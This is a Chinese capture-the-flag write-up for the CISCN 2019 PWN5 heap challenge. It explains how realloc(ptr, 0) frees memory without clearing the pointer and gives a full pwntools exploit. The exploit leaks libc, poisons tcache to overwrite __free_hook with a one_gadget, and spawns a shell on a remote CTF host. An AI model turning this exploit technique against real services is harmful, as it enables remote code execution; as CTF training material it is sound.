pwn--realloc [CISCN 2019东南]PWN5

首先学习一下realloc这个函数，以下是文心一言的解释：

realloc是C语言库函数之一，用于重新分配内存空间。它的主要功能是调整一块内存空间的大小。当需要增加内存空间时，realloc会分配一个新的更大的内存块，然后将原内存块的内容复制到新块中，并释放原内存块；当需要减少内存空间时，realloc会尝试将内存块的大小减少到新的大小，并返回调整后的内存块地址。

realloc函数的原型为：void* realloc(void* ptr, size_t size); 其中，ptr是指向之前分配的内存块的指针，size是要分配的新内存块的大小（以字节为单位）。如果ptr为NULL，则realloc函数的行为与malloc函数相同；如果size为0，则realloc函数会释放由ptr指向的内存块。realloc函数的返回值是指向新分配的内存块的指针。如果分配成功，则返回值不为NULL；如果分配失败，则返回NULL。

提取关键点：分配更大的内存时会先释放原chunk，当size为0时，会释放ptr。这是不借助free函数的释放，不会将指针清空，可以用来构造doublefree。

还有一个知识点：

在程序中，我们请求了一个大小为0的堆块。

但通过gdb调试发现，堆块大小为0x20，也就是说malloc(0),malloc(8)和malloc(0x10）效果其实是一样的，由于fd指针和bk指针，一个chunk的大小至少是0x20。

有了以上两个知识点，让我们进入下面这道题：

delete之后会把指针清空。没办法uaf。也不存在堆溢出。这该怎么办呢。

发现edit有realloc函数，恍然大悟！

这里补充一点，低版本，至少libc 2.27及以下当你从unsortedbin分配一个堆块时，不会把fd和bk指针清空，可以利用这个泄露Libc基址，至少libc 2.31及以上会把这两个区域清空。

以下是exp:

from pwn import *
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
io=remote('node5.anna.nssctf.cn',24158)
#io=remote('pwn.challenge.ctf.show',28284)
#io=process('./pwn')

def add(size,content='a'):
    io.recvuntil(b"Your choice:")
    io.sendline(b'1')
    io.recvuntil(b"size?>")
    io.sendline(str(size).encode())
    io.recvuntil(b"content:")
    io.send(content)

def delete(idx) :
    io.recvuntil(b"Your choice:")
    io.sendline(b'4')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def show(idx):
    io.recvuntil(b"Your choice:")
    io.sendline(b'3')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def edit(idx,content) :
    io.recvuntil(b"Your choice:")
    io.sendline(b'2')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"New content:")
    io.send(content)

add(0x410)#0
add(0x10)#1
delete(0)
add(0x410,b'a'*5+b'b'*3)#0
show(0)
io.recvuntil(b'bbb')
usbin=u64(io.recv(6).ljust(0x8,b'\x00'))
print('usbin:',hex(usbin))
#gdb.attach(io)
#pause()
malloc_hook=usbin-0x70
libc_base=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
print('free_hook:',hex(free_hook))
print('system:',hex(system))
add(0)#2
delete(1)
io.recvuntil(b"Your choice:")
io.sendline(b'2')
io.recvuntil(b"Index:")
io.sendline(b'2')
delete(2)
one_gadget=libc_base+0x4f302
add(0x10,p64(free_hook))#1
#gdb.attach(io)
#pause()
add(0x10,p64(one_gadget))#2
add(0x20,b'/bin/sh\x00')#3
delete(3)
io.interactive()